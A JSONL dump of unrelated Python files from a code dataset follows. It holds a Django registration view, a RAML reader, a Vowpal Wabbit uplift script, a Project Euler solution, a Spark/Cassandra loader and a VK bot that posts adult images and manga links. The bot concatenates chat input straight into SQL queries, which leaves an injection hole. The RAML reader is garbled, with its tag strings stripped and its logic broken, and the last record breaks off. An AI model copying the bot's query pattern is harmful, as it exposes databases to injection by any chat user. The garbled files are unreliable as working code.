+{"seq_id":"26311909","text":"# -*- coding: utf-8 -*-\nfrom django.template.loader import get_template\nfrom django.template import Context\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom styp.models import *\nfrom django import forms\nfrom django.contrib.auth.views import logout_then_login, login\nfrom django.shortcuts import render_to_response\nfrom django.contrib.auth import *\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom styp.forms import *\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import Group\n\ndef main(request): \n ostatnie_ogloszenia = Ogloszenie.objects.order_by('-Data_dodania')[:5]\n return views.login(request, template_name='start.html',\n redirect_field_name=REDIRECT_FIELD_NAME,\n authentication_form=AuthenticationForm,\n current_app=None, extra_context=locals())\ndef logout(request):\n return views.logout(request, '/', 'start.html', REDIRECT_FIELD_NAME, None, None)\ndef register(request):\n if request.method == 'POST':\n form = FormularzRejestracji(request.POST)\n if form.is_valid():\n user = Uzytkownik.objects.create_user(\n username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n email=form.cleaned_data['email'],\n first_name=form.cleaned_data['imie'],\n last_name=form.cleaned_data['nazwisko'],\n PESEL = form.cleaned_data['pesel'],\n Indeks=form.cleaned_data['indeks'],\n Kierunek=form.cleaned_data['kierunek'],\n Semestr=form.cleaned_data['semestr'], \n \n )\n g = Group.objects.get(name='student') \n g.user_set.add(user)\n user.save()\n if form.cleaned_data['log_on']:\n user = authenticate(username=form.cleaned_data['username'],password=form.cleaned_data['password1'])\n login(request,user)\n template = get_template(\"start.html\")\n variables = RequestContext(request,{'user':user})\n output = template.render(variables)\n return HttpResponseRedirect(\"/\") \n else: \n template = get_template(\"rejestracja_pomyslna.html\")\n variables = RequestContext(request,{'username':form.cleaned_data['username']})\n output = template.render(variables)\n return HttpResponse(output)\n else:\n form = FormularzRejestracji()\n template = get_template(\"rejestracja.html\") \n variables = RequestContext(request,{'form':form})\n output = template.render(variables)\n return HttpResponse(output)\n\n","sub_path":"styp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"440229911","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom miscellaneous.utility import find_between_r\nimport os\n\nclass readRamlIrma:\n\n def __init__(self, path):\n self.path = path\n self.oss_name = ['OSS1', 'OSS2', 'OSS5G']\n \n def getMoList(self, node):\n f = open(self.path, 'r')\n ans = []\n for line in f.readlines():\n if 'MeContext-'+node in line and '' in line:\n found = False\n else:\n ans.append(line)\n elif 'class=\"'+mo+'\"' in line and mo+'-'+mo_id in line and 'operation=' in line and 'distName=\"'+mo_path+'\"' in line:\n found = True\n f.close()\n return ans\n\n def readMoByNumber(self, mo, mo_id, mo_path, n):\n with open(self.path, 'r') as f:\n ans = []\n found = False\n whole = f.readlines()[n-1:]\n for line in whole:\n if found == True:\n if '' in line:\n found = False\n break\n else:\n ans.append(line)\n elif 'class=\"'+mo+'\"' in line and mo+'-'+mo_id in line and 'operation=' in line and 'distName=\"'+mo_path+'\"' in line:\n found = True\n return ans\n\n\n def getParamList(self, mo, mo_id, mo_path, number=0):\n params = []\n if number == 0:\n mo_struct = self.readMo(mo, mo_id, mo_path)\n else:\n mo_struct = self.readMoByNumber(mo, mo_id, mo_path, number)\n skip = False\n for element in mo_struct:\n if '' in element:\n skip = False\n elif skip:\n pass\n elif '

' in line:\n found = False\n return ans\n\n def classifier(self, name, raw_param):\n if '' not in raw_param:\n return 'Vettoriale'\n matching_mix = [ s for s in raw_param if '' in s ]\n if len(matching_mix) != 0:\n return 'Strutturato_Mixed'\n if len(matching_item) == 1:\n return 'Strutturato'\n else:\n return 'Strutturato_Vettoriale'\n\n def getValueVettoriale(self, raw_param):\n vect = []\n for line in raw_param:\n for oss in self.oss_name:\n if 'SubNetwork='+oss+',' in line:\n line = line.replace('SubNetwork='+oss+',', '')\n if '

' in line:\n vect_val = find_between_r(line, '

', '

')\n vect.append(vect_val)\n return vect\n\n def getValueStrutturato(self, raw_param):\n struct = {}\n for line in raw_param:\n for oss in self.oss_name:\n if 'SubNetwork='+oss+',' in line:\n line = line.replace('SubNetwork='+oss+',', '')\n if '

', '

')\n struct[param_name] = param_value\n return struct\n\n def getValueStrutturatoVettoriale(self, raw_param):\n struct_vect = []\n for line in raw_param:\n for oss in self.oss_name:\n if 'SubNetwork='+oss+',' in line:\n line = line.replace('SubNetwork='+oss+',', '')\n if '' in line:\n item = {}\n if '

', '

')\n item[param_name] = param_value\n if '
' in line:\n struct_vect.append(item)\n return struct_vect\n\n def getValueStrutturatoMixed(self, name, raw_param):\n struct_mix = {}\n vect = []\n for line in raw_param:\n for oss in self.oss_name:\n if 'SubNetwork='+oss+',' in line:\n line = line.replace('SubNetwork='+oss+',', '')\n if '

', '

')\n struct_mix[param_name] = param_value\n if '').split('_')[1]\n vect = []\n if '

' in line:\n vect_val = find_between_r(line, '

', '

')\n vect.append(vect_val)\n if '
' in line and vect != []:\n struct_mix[vector_name] = vect\n return struct_mix\n\n def getParamValue(self, mo, mo_id, mo_path, name, tipo):\n mo_struct = self.readMo(mo, mo_id, mo_path)\n if tipo == 'single':\n for line in mo_struct:\n if '

' in line:\n for oss in self.oss_name:\n if 'SubNetwork='+oss+',' in line:\n line = line.replace('SubNetwork='+oss+',', '')\n value = find_between_r(line, '

', '

')\n return value\n if tipo == 'struct':\n value = {}\n raw_param = self.readParamStruct(mo_struct, name)\n #is_vector = False\n kind = self.classifier(name, raw_param)\n if kind == 'Vettoriale':\n return self.getValueVettoriale(raw_param)\n if kind == 'Strutturato':\n return self.getValueStrutturato(raw_param)\n if kind == 'Strutturato_Mixed':\n return self.getValueStrutturatoMixed(name, raw_param)\n if kind == 'Strutturato_Vettoriale':\n return self.getValueStrutturatoVettoriale(raw_param)\n\n ","sub_path":"read/readRamlIrma.py","file_name":"readRamlIrma.py","file_ext":"py","file_size_in_byte":7174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"601652445","text":"import os\nimport zipfile\nimport pandas as pd\nfrom vowpalwabbit import pyvw\n\n\n#------------------\n# Load data\n#------------------\n\nos.system('wget http://ftp.cs.wisc.edu/machine-learning/shavlik-group/kuusisto.ecml14.simcustomerdata.zip')\n\nzf = zipfile.ZipFile('kuusisto.ecml14.simcustomerdata.zip')\n\ndf = pd.read_csv(zf.open('stereotypical_customer_simulation.csv'),\\\n index_col=['customer_id'])\n\n\ndf['target_control'].value_counts(normalize=True)\n# control 0.5063\n# target 0.4937\n\ndf['outcome'].value_counts(normalize=True)\n# negative 0.5047\n# positive 0.4953\n\ndf['customer_type'].value_counts(normalize=True)\n# lost_cause 0.2554\n# sleeping_dog 0.2528\n# persuadable 0.2471\n# sure_thing 0.2447\n\ndf.groupby(['target_control', 'outcome']).size() / len(df)\n# target_control outcome\n# control negative 0.2550\n# positive 0.2513\n# target negative 0.2497\n# positive 0.2440\n\nagg = df.groupby(['customer_type', 'target_control', 'outcome']).size() /\\\nlen(df)\n\nprint(agg)\n# customer_type target_control outcome\n# lost_cause control negative 0.1298\n# target negative 0.1256\n# persuadable control negative 0.1252\n# target positive 0.1219\n# sleeping_dog control positive 0.1287\n# target negative 0.1241\n# sure_thing control positive 0.1226\n# target positive 0.1221\n\n\n#------------------\n# Process data\n#------------------\n\ndf.loc[df.target_control == 'target', 'prob_target'] = 0.5063\ndf.loc[df.target_control == 'control', 'prob_target'] = 1 - 0.5063\n\ndf.loc[df.target_control == 'target', 'target_control'] = 1\ndf.loc[df.target_control == 'control', 'target_control'] = 2\n\ndf.loc[(df.target_control == 1) & (df.customer_type == 'persuadable'), 'reward'] = 100\ndf.loc[(df.target_control == 2) & (df.customer_type == 'persuadable'), 'reward'] = -100\ndf.loc[(df.target_control == 1) & (df.customer_type == 'sleeping_dog'), 'reward'] = -100\ndf.loc[(df.target_control == 2) & (df.customer_type == 'sleeping_dog'), 'reward'] = 100\ndf.loc[df.customer_type == 'lost_cause', 'reward'] = 0\ndf.loc[df.customer_type == 'sure_thing', 'reward'] = 0\n\ndf.loc[:, 'cost'] = -df.reward\n\ndf['reward_weighted'] = df.reward / df.prob_target / 2\n\n\n#------------------\n# Train model\n#------------------\n\nvw = pyvw.vw('--cb 2')\n\nfor i in df.index:\n action = df.loc[i, 'target_control']\n cost = df.loc[i, 'cost']\n probability = df.loc[i, 'prob_target']\n x1 = df.loc[i, 'Node1']\n x2 = df.loc[i, 'Node2']\n x3 = df.loc[i, 'Node3']\n x4 = df.loc[i, 'Node4']\n x5 = df.loc[i, 'Node5']\n x6 = df.loc[i, 'Node6']\n x7 = df.loc[i, 'Node7']\n x8 = df.loc[i, 'Node8']\n x9 = df.loc[i, 'Node9']\n x10 = df.loc[i, 'Node10']\n x11 = df.loc[i, 'Node11']\n x12 = df.loc[i, 'Node12']\n x13 = df.loc[i, 'Node13']\n x14 = df.loc[i, 'Node14']\n x15 = df.loc[i, 'Node15']\n x17 = df.loc[i, 'Node17']\n x18 = df.loc[i, 'Node18']\n x19 = df.loc[i, 'Node19']\n x20 = df.loc[i, 'Node20']\n vw_instance = str(action) + ':' + str(cost) + ':'\\\n + str(probability) + ' | '\\\n + str(x1) + ' ' + str(x2) + ' ' + str(x3) + ' ' + str(x4) + ' ' + str(x5)\\\n + ' ' + str(x6) + ' ' + str(x7) + ' ' + str(x8) + ' ' + str(x9)\\\n + ' ' + str(x10)+ ' ' + str(x11)+ ' ' + str(x12)+ ' ' + str(x13)\\\n + ' ' + str(x14)+ ' ' + str(x15)+ ' ' + str(x17)+ ' ' + str(x18)\\\n + ' ' + str(x19)+ ' ' + str(x20)\n print(vw_instance)\n vw.learn(vw_instance)\n\n\n\n\n#------------------\n# Predict\n#------------------\n\nappended_data = []\n\nfor j in df.index:\n x1 = df.loc[j, 'Node1']\n x2 = df.loc[j, 'Node2']\n x3 = df.loc[j, 'Node3']\n x4 = df.loc[j, 'Node4']\n x5 = df.loc[j, 'Node5']\n x6 = df.loc[j, 'Node6']\n x7 = df.loc[j, 'Node7']\n x8 = df.loc[j, 'Node8']\n x9 = df.loc[j, 'Node9']\n x10 = df.loc[j, 'Node10']\n x11 = df.loc[j, 'Node11']\n x12 = df.loc[j, 'Node12']\n x13 = df.loc[j, 'Node13']\n x14 = df.loc[j, 'Node14']\n x15 = df.loc[j, 'Node15']\n x17 = df.loc[j, 'Node17']\n x18 = df.loc[j, 'Node18']\n x19 = df.loc[j, 'Node19']\n x20 = df.loc[j, 'Node20']\n choice = vw.predict('| ' + str(x1) + ' ' + str(x2) + ' ' + str(x3)\\\n + ' ' + str(x4) + ' ' + str(x5) + ' ' + str(x6) + ' ' + str(x7)\\\n + ' ' + str(x8) + ' ' + str(x9) + ' ' + str(x10) + ' ' + str(x11)\\\n + ' ' + str(x12) + ' ' + str(x13) + ' ' + str(x14) + ' ' + str(x15)\\\n + ' ' + str(x17) + ' ' + str(x18) + ' ' + str(x19) + ' ' + str(x20))\n appended_data.append(choice)\n\ndf.loc[:, 'recommendation'] = appended_data\n\ndf.groupby(['recommendation']).size() / len(df)\n\n\n\n#------------------\n# Evaluate\n#------------------\n\ndf.loc[df.recommendation == 1].groupby(['customer_type']).size() /\\\nlen(df.loc[df.recommendation == 1])\n# lost_cause 0.297710\n# persuadable 0.358779\n# sleeping_dog 0.190840\n# sure_thing 0.152672\n\ndf.loc[df.recommendation == 2].groupby(['customer_type']).size() /\\\nlen(df.loc[df.recommendation == 2])\n# lost_cause 0.254838\n# persuadable 0.245618\n# sleeping_dog 0.253622\n# sure_thing 0.245922\n\n\nsum(df.reward) / len(df)\n# 0.13\n\nsum(df.loc[df.target_control == df.recommendation, 'reward_weighted']) / len(df)\n# 0.5752573278533706\n\nsum(df.loc[df.target_control == df.recommendation, 'reward']) / len(df)\n# 0.57\n","sub_path":"vowpalwabbit/test-pyvw-1.py","file_name":"test-pyvw-1.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"257775094","text":"'''\nA googol (10100) is a massive number: one followed by one-hundred zeros; \n100100 is almost unimaginably large: one followed by two-hundred zeros. \nDespite their size, the sum of the digits in each number is only 1.\n\nConsidering natural numbers of the form, ab, where a, b < 100, what is the maximum digital sum?\n'''\nimport time\n\ndef calcDigSum(n):\n strN = str(n)\n sum = 0\n for c in strN:\n sum = sum + int(c)\n return sum\n\ndef maxSumBranchless(lim):\n res = -1\n for a in range(lim):\n for b in range(lim):\n sum = calcDigSum(a**b)\n res = (sum * (sum > res)) + (res * (res >= sum))\n print(res)\n return res\n\ndef maxSum(lim):\n res = -1\n for a in range(lim):\n for b in range(lim):\n sum = calcDigSum(a**b)\n if sum > res:\n res = sum\n print(res)\n return res\n\n\nif __name__ == '__main__':\n start = time.time()\n maxSum(100)\n print(\"time regular:\", time.time()-start)\n start = time.time()\n maxSumBranchless(100)\n print(\"time branchless:\", time.time()-start)","sub_path":"lvl_02/prob_056/prob56.py","file_name":"prob56.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"472565651","text":"from pyspark import SparkConf, SparkContext, SQLContext\nfrom pyspark.sql.functions import *\nimport pyspark_cassandra, sys\n\ndef trim(string):\n return string.strip()\n\ndef readDataFrame(sqlContext, schema, inputs):\n # Reading the movie_metadata.csv file and triming the whitespace\n df = sqlContext.read.format(\"com.databricks.spark.csv\").option(\"header\", \"true\").option(\"inferSchema\", \"true\").load(inputs + '/movie_metadata.csv')\n df_trim = df.select(trim('color').alias('color'), trim('director_name').alias('director_name'), 'num_critic_for_reviews', 'duration',\n 'director_facebook_likes', 'actor_3_facebook_likes', trim('actor_2_name').alias('actor_2_name'), 'actor_1_facebook_likes',\n 'gross', trim('genres').alias('genres'), trim('actor_1_name').alias('actor_1_name'), trim('movie_title').alias('movie_title'),\n 'num_voted_users', 'cast_total_facebook_likes', trim('actor_3_name').alias('actor_3_name'), trim('plot_keywords').alias('plot_keywords'),\n trim('movie_imdb_link').alias('movie_imdb_link'), 'num_user_for_reviews', trim('language').alias('language'),\n trim('country').alias('country'), trim('content_rating').alias('content_rating'), 'budget', 'title_year', 'actor_2_facebook_likes',\n 'imdb_score', 'aspect_ratio', 'movie_facebook_likes').cache()\n df_trim = df_trim.na.fill({'duration': 98, 'gross': 0, 'aspect_ratio': 2.35, 'actor_1_facebook_likes':0,\n 'num_critic_for_reviews':0, 'title_year': 2001,'num_user_for_reviews':0, 'actor_2_facebook_likes': 0,\n 'actor_3_facebook_likes': 0, 'director_facebook_likes': 0, 'content_rating': 'Not Rated'})\n df_trim.write.format(\"org.apache.spark.sql.cassandra\").option(\"table\", \"imdb_movie_data\").option(\"keyspace\",schema).save()\n\n\ndef main(sqlContext, schema, inputs):\n readDataFrame(sqlContext, schema, inputs)\n\nif __name__ == \"__main__\":\n cluster_seeds = ['199.60.17.136', '199.60.17.173']\n conf = SparkConf().set('spark.cassandra.connection.host', ','.join(cluster_seeds)).set('spark.dynamicAllocation.maxExecutors', 20)\n sc = pyspark_cassandra.CassandraSparkContext(conf=conf)\n sqlContext = SQLContext(sc)\n trim = udf(trim)\n schema = sys.argv[1]\n inputs = sys.argv[2]\n main(sqlContext, schema, inputs)","sub_path":"bd_lab_project/imdb_data_load.py","file_name":"imdb_data_load.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"406427127","text":"# -*- coding: utf-8 -*-\n\n__all__ = [\n 'get_syntax_errors',\n]\n\n\ndef get_syntax_errors(graph):\n \"\"\"Gets a list of the syntax errors from the BEL script underlying the graph. Uses SyntaxError as a\n stand-in for :exc:`pybel.parser.parse_exceptions.BelSyntaxError`\n\n :param pybel.BELGraph graph: A BEL graph\n :return: A list of 4-tuples of line number, line text, exception, and annotations present in the parser\n :rtype: list[tuple]\n \"\"\"\n return [\n (number, line, exc, an)\n for number, line, exc, an in graph.warnings\n if isinstance(exc, SyntaxError)\n ]\n","sub_path":"src/pybel/struct/summary/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"426314425","text":"import vk_api\nfrom vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType \nfrom random import randint\nimport os\nimport tokens\nimport json\nimport pymysql\n\n#BHS Server Log code\ntoken = tokens.token\nbhs_server_log = vk_api.VkApi(token=token)\npeers = [2000000002]\n\ndef log(message):\n for peer in peers:\n bhs_server_log.method('messages.send', {'peer_id': peer, 'message': message, \"random_id\": randint(-2147483648, 2147483648)})\n#Copyright 2019 BHS Studio\n\ndef write_msg(peer_id, message):\n vk.method('messages.send', {'peer_id': peer_id, 'message': message, \"random_id\": randint(-2147483648, 2147483648)})\n\ndef write_media_msg(peer_id, message, attachment):\n vk.method('messages.send', {'peer_id': peer_id, 'message': message, 'attachment': attachment, \"random_id\": randint(-2147483648, 2147483648)})\n\ndef send_pic(peer_id, attachment, keyboard, like, dislike):\n vk.method('messages.send', {'peer_id': peer_id, 'message': f'❤ Лайки: {like}\\n💔 Дизлайки: {dislike}', 'keyboard': keyboard, 'attachment': attachment, \"random_id\": randint(-2147483648, 2147483648)})\ndef isAdmin(user_id):\n admins = os.listdir(\"./admins/\")\n for admin in admins:\n if(str(user_id) == str(os.path.basename(admin))):\n return True\n return False\n\ndef get_button(label, color, payload=\"\") :\n return {\n \"action\": {\n \"type\": \"text\",\n \"payload\": json.dumps(payload) ,\n \"label\": label\n },\n \"color\": color\n }\n\nvk = vk_api.VkApi(\n token=tokens.token #Вставь свой \n)\nconnected_peers = []\npeers = os.listdir(\"./admins/\")\nfor peer in peers:\n connected_peers.append(int(os.path.basename(peer)))\n\nlongpoll = VkBotLongPoll(vk, tokens.groupID, wait = 259200) #Вставь свой ID группы в пустое поле\nhello = [\"Приветики)\", \"Hello\", \"👋🏻\", \"Привет!\", \"Здравствуй\", \"Приветики) Знаешь как пользоваться ботом?) Нет? Тогда напиши /help))\"]\notvet = [\"Да)?\", \"Ммм?\", \"Я знаю, что ты хочешь 😏\", \"Дай угадать, зачем ты меня зoвешь 😉\", \"Да?\", \"Слушаю 😊\", \"Разработчик бота не несет никакой ответственности за его содержимое!\"]\n\n#Load pic count\nf = open(\"./pic\", \"r\")\npic = int(f.read())\nf.close()\n\n#Load manga db\nf = open(\"./manga\", \"r\")\nmanga = []\nfor line in f.readlines():\n manga.append(line.split('\\n')[0])\nf.close()\n\ndef manga_upd():\n f = open(\"./manga\", \"r\")\n manga = []\n for line in f.readlines():\n manga.append(line.split('\\n')[0])\n f.close()\n return manga\n\nlikeboard = {\n \"inline\": True, \n \"buttons\": [\n [\n get_button(label=\"Like\", color=\"positive\"), \n get_button(label=\"Dislike\", color=\"negative\"),\n get_button(label=\"NEED MORE\", color=\"secondary\")\n ]\n ]\n#тут кнопки добавляются\n}\n\nlikeboard = json.dumps(likeboard, ensure_ascii=False).encode('utf-8')\nlikeboard = str(likeboard.decode('utf-8'))\n\ntags = [\n \"[CLUB188217821|ХЕНТАЙ]\",\n \"[CLUB188217821|XEНТАЙ]\",\n \"[CLUB188217821|HENTAI]\",\n \"[CLUB188217821|@CLUB188217821]\",\n \"@CLUB188217821\"\n]\n\ncon = pymysql.connect(tokens.serverdb, tokens.userdb, \n tokens.passworddb, tokens.dbname)\n\nprint(\"STARTED\")\n#log(\"✅ Hentai Bot успешно запущен ✅\")\nfor event in longpoll.listen():\n if(event.type == VkBotEventType.MESSAGE_NEW):\n\n text = event.object.text.upper()\n for tag in tags:\n text = text.replace(tag, '').strip()\n\n if(text == \"ПРИВЕТ\" or text == \"ХАЙ\" or text == \"ДАРОВ\" or text == \"ПРИВ\" or text == \"ПРИВЕТ ВСЕМ\" or text == \"ВСЕМ ПРИВЕТ\"):\n write_msg(event.object.peer_id, hello[randint(0,len(hello)-1)])\n elif(text==\"ХЕНТАЙ\"):\n write_msg(event.object.peer_id, otvet[randint(0,len(otvet)-1)])\n elif(text==\"/RULES\"):\n vk.method('messages.send', {'peer_id': event.object.peer_id, 'message': \"✨ Правила беседы ✨\\n👉🏻 Нельзя кикать без весомой причины\\n👉🏻 Нельзя пиарить\\n👉🏻 Нельзя спамить (кроме команд)\\n✅ Команды бота: /xxx, /hentai, /хентай\\n💬 Помощь: /help\\n🗣 Разговорные: Привет, Хентай, Хентай пикчи\\n🔞 Предназначено для лиц, старше 18 лет 🔞\", \"random_id\": randint(-2147483648, 2147483648)})\n elif(text==\"/HELP\"):\n vk.method('messages.send', {'peer_id': event.object.peer_id, 'message': \"✨ Команды бота ✨\\n🔹 /xxx\\n🔹 /hentai\\n🔹 /хентай\\n🔹 /manga\\n👤 Для админов:\\n🔹 /admin (id)\\n🔹 /unadmin (id)\\n🔹 /manga add (url)\\n🔹 /manga del (id)\\n🔹 /pic (кол-во)\\n🔹 /on или /off\\n💬 Помощь:\\n🔹 /rules\\n🔹 /help\\n🗣 Разговорные:\\n🔹 Привет\\n🔹 Хентай\\n🔹 Хентай пикчи\\n🔞 Ограничение 18 лет 🔞\", \"random_id\": randint(-2147483648, 2147483648)})\n elif(text==\"ХЕНТАЙ ПИКЧИ\"):\n write_msg(event.object.peer_id, \"У меня в коллекции уже \" + str(pic) + \" картинок 😉\")\n elif(text==\"/PEER\"):\n write_msg(event.object.peer_id, \"PeerID этой беседы: \" + str(event.object.peer_id))\n elif(event.object.text.split(' ')[0].upper()==\"/UNADMIN\" and len(event.object.text.split(' ')) == 2):\n if(str(event.object.from_id) == \"501702167\"):\n try:\n os.remove(\"./admins/\"+str(event.object.text.split(' ')[1]))\n write_msg(event.object.peer_id, \"Админка отобрана\")\n except:\n write_msg(event.object.peer_id, \"Админки у этого человека и не было!\")\n else:\n write_msg(event.object.peer_id, \"У вас нет на это прав!\")\n elif(event.object.text.split(' ')[0].upper()==\"/ADMIN\" and len(event.object.text.split(' ')) == 2):\n if(str(event.object.from_id) == \"501702167\"):\n f = open(\"./admins/\"+str(event.object.text.split(' ')[1]), \"w\")\n f.close()\n write_msg(event.object.peer_id, \"Админка выдана\")\n else:\n write_msg(event.object.peer_id, \"У вас нет на это прав!\")\n elif(event.object.text.split(' ')[0].upper()==\"/PIC\" and len(event.object.text.split(' ')) == 2):\n if(isAdmin(event.object.from_id)):\n try:\n f = open(\"./pic\", \"w\")\n f.write(event.object.text.split(' ')[1])\n f.close()\n pic = int(event.object.text.split(' ')[1])\n write_msg(event.object.peer_id, \"Получилось :) Кол-во картинок установлено на \" + str(pic))\n except:\n write_msg(event.object.peer_id, \"Не получилось :(\")\n else:\n write_msg(event.object.peer_id, \"У вас нет на это прав!\")\n elif(text==\"/ON\"):\n if(isAdmin(event.object.from_id)):\n f = open(\"./peers/\"+str(event.object.peer_id), \"w\")\n f.close()\n connected_peers.append(int(event.object.peer_id))\n write_msg(event.object.peer_id, \"Беседа подключена\")\n else:\n write_msg(event.object.peer_id, \"У вас нет прав на подключение бесед!\")\n elif(text==\"/OFF\"):\n if(isAdmin(event.object.from_id)):\n os.remove(\"./peers/\" + str(event.object.peer_id))\n write_msg(event.object.peer_id, \"Беседа отключена\")\n else:\n write_msg(event.object.peer_id, \"У вас нет прав на подключение бесед!\")\n elif(len(event.object.text.split(' ')) == 3 and event.object.text.split(' ')[0].upper()==\"/MANGA\" and event.object.text.split(' ')[1].upper()==\"DEL\"):\n if(isAdmin(event.object.from_id)):\n f = open(\"./peers/\"+str(event.object.peer_id), \"w\")\n f.close()\n manga_id = int(event.object.text.split(' ')[2])\n manga.remove(manga[manga_id])\n f = open(\"./manga\", \"w\")\n for url in manga:\n f.write(url+'\\n')\n f.close()\n write_msg(event.object.peer_id, \"Манга успешно удалена!\")\n else:\n write_msg(event.object.peer_id, \"У вас нет прав на управление контентом!\")\n elif(len(event.object.text.split(' ')) == 2 and event.object.text.split(' ')[0].upper()==\"/MANGA\" and event.object.text.split(' ')[1].upper()==\"UPD\"):\n if(isAdmin(event.object.from_id)):\n manga = manga_upd()\n write_msg(event.object.peer_id, f\"🔑 Манга успешно обновлена! Всего в базе: {len(manga)}\")\n else:\n write_msg(event.object.peer_id, \"У вас нет прав на управление контентом!\")\n elif(len(event.object.text.split(' ')) == 3 and event.object.text.split(' ')[0].upper()==\"/MANGA\" and event.object.text.split(' ')[1].upper()==\"ADD\"):\n if(isAdmin(event.object.from_id)):\n f = open(\"./peers/\"+str(event.object.peer_id), \"w\")\n f.close()\n manga.append(event.object.text.split(' ')[2])\n f = open(\"./manga\", \"a\")\n for url in manga:\n f.write(url+'\\n')\n f.close()\n write_msg(event.object.peer_id, f\"Манга успешно добавлена!\\n🔑 MangaID: {len(manga)}\")\n else:\n write_msg(event.object.peer_id, \"У вас нет прав на управление контентом!\")\n elif(text==\"/MANGA\" or text==\"/МАНГА\"):\n try:\n f = open(\"./peers/\" + str(event.object.peer_id), \"r\")\n f.close()\n manga_id = randint(0, len(manga)-1)\n if(len(manga[manga_id].split(\"::\")) > 1):\n write_media_msg(event.object.peer_id, f\"🔞 Случайная xeнтай манга из базы: {manga[manga_id].split('::')[0]}\\n\\n🔑 MangaID: {str(manga_id+1)}\\n🗺 Обложка манги:\", manga[manga_id].split('::')[1])\n else:\n write_msg(event.object.peer_id, f\"🔞 Случайная xeнтай манга из базы: {manga[manga_id].split('::')[0]}\\n\\n🔑 MangaID: {str(manga_id+1)}\")\n except Exception as error:\n print(error)\n write_msg(event.object.peer_id, \"Эта беседа не подключена! :(\")\n elif(text == \"NEED MORE\" or text==\"/XXX\" or text==\"/ХХХ\" or text==\"/HENTAI\" or text==\"/ХЕНТАЙ\"):\n try:\n f = open(\"./peers/\" + str(event.object.peer_id), \"r\")\n f.close()\n while True:\n #photo-188217821_457239***\n pic_id = randint(457239022, 457239022 + pic)\n\n ###EXCEPT BLOCK###\n if(pic_id > 457239275 and pic_id < 457239574):\n continue\n ###EEXCEPT BLOCK###\n\n break\n pic_url = \"photo-188217821_\" + str(pic_id)\n print(pic_url)\n\n likeboard = {\n \"inline\": True, \n \"buttons\": [\n [\n get_button(label=f\"Like {pic_id}\", color=\"positive\"), \n get_button(label=f\"Dislike {pic_id}\", color=\"negative\"),\n get_button(label=\"NEED MORE\", color=\"secondary\")\n ]\n ]\n #тут кнопки добавляются\n }\n\n likeboard = json.dumps(likeboard, ensure_ascii=False).encode('utf-8')\n likeboard = str(likeboard.decode('utf-8'))\n\n con = pymysql.connect(tokens.serverdb, tokens.userdb, \n tokens.passworddb, tokens.dbname)\n cur = con.cursor()\n cur.execute(\"SELECT `likes`, `dislikes` FROM `photos` WHERE id = \" + str(pic_id))\n info = cur.fetchall()\n\n if(len(info) != 0):\n send_pic(event.object.peer_id, pic_url, likeboard, info[0][0], info[0][1])\n else:\n send_pic(event.object.peer_id, pic_url, likeboard, 0, 0)\n\n del likeboard\n except Exception as error:\n print(error)\n write_msg(event.object.peer_id, \"Эта беседа не подключена! :(\")\n elif(text.split(' ')[0] == 'DISLIKE' and len(text.split(' ')) > 1):\n con = pymysql.connect(tokens.serverdb, tokens.userdb, \n tokens.passworddb, tokens.dbname)\n cur = con.cursor()\n cur.execute(\"SELECT `users` FROM `photos` WHERE id = \" + text.split(' ')[1])\n info = cur.fetchall()\n\n if(len(info) != 0):\n liked = False\n for user in info[0][0].split(','):\n if(user == str(event.object.from_id)):\n write_msg(event.object.peer_id, f\"Вы уже оценили это фото!\")\n liked = True\n if(liked): \n continue\n\n sql = 'UPDATE `photos` SET `likes` = `dislikes` + 1 where id = ' + text.split(' ')[1] + ';'\n cur.execute(sql)\n sql = f\"UPDATE `photos` SET `users` = CONCAT(`users`, ',', \\\"{str(event.object.from_id)}\\\") where id = {text.split(' ')[1]};\"\n cur.execute(sql)\n con.commit()\n con.close()\n write_msg(event.object.peer_id, f\"💔 Отметка <<Не нравится>> установлена\")\n else:\n sql = f\"INSERT INTO `photos` VALUES ({text.split(' ')[1]}, 0, 1, {str(event.object.from_id)});\"\n cur.execute(sql)\n con.commit()\n con.close()\n write_msg(event.object.peer_id, f\"💔 Отметка <<Не нравится>> установлена\")\n elif(text.split(' ')[0] == 'LIKE' and len(text.split(' ')) > 1):\n con = pymysql.connect(tokens.serverdb, tokens.userdb, \n tokens.passworddb, tokens.dbname)\n cur = con.cursor()\n cur.execute(\"SELECT `users` FROM `photos` WHERE id = \" + text.split(' ')[1])\n info = cur.fetchall()\n\n if(len(info) != 0):\n liked = False\n for user in info[0][0].split(','):\n if(user == str(event.object.from_id)):\n write_msg(event.object.peer_id, f\"Вы уже оценили это фото!\")\n liked = True\n if(liked): \n continue\n\n sql = 'UPDATE `photos` SET `likes` = `likes` + 1 where id = ' + text.split(' ')[1] + ';'\n cur.execute(sql)\n sql = f\"UPDATE `photos` SET `users` = CONCAT(`users`, ',', \\\"{str(event.object.from_id)}\\\") where id = {text.split(' ')[1]};\"\n cur.execute(sql)\n con.commit()\n con.close()\n write_msg(event.object.peer_id, f\"❤ Отметка <<Нравится>> установлена\")\n else:\n sql = f\"INSERT INTO `photos` VALUES ({text.split(' ')[1]}, 1, 0, {str(event.object.from_id)});\"\n cur.execute(sql)\n con.commit()\n con.close()\n write_msg(event.object.peer_id, f\"❤ Отметка <<Нравится>> установлена\")\n elif text=='/TEST':\n try:\n write_msg(event.object.peer_id, \"Всё работает :)\")\n except Exception as e:\n print(e)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":16456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"532393544","text":"def 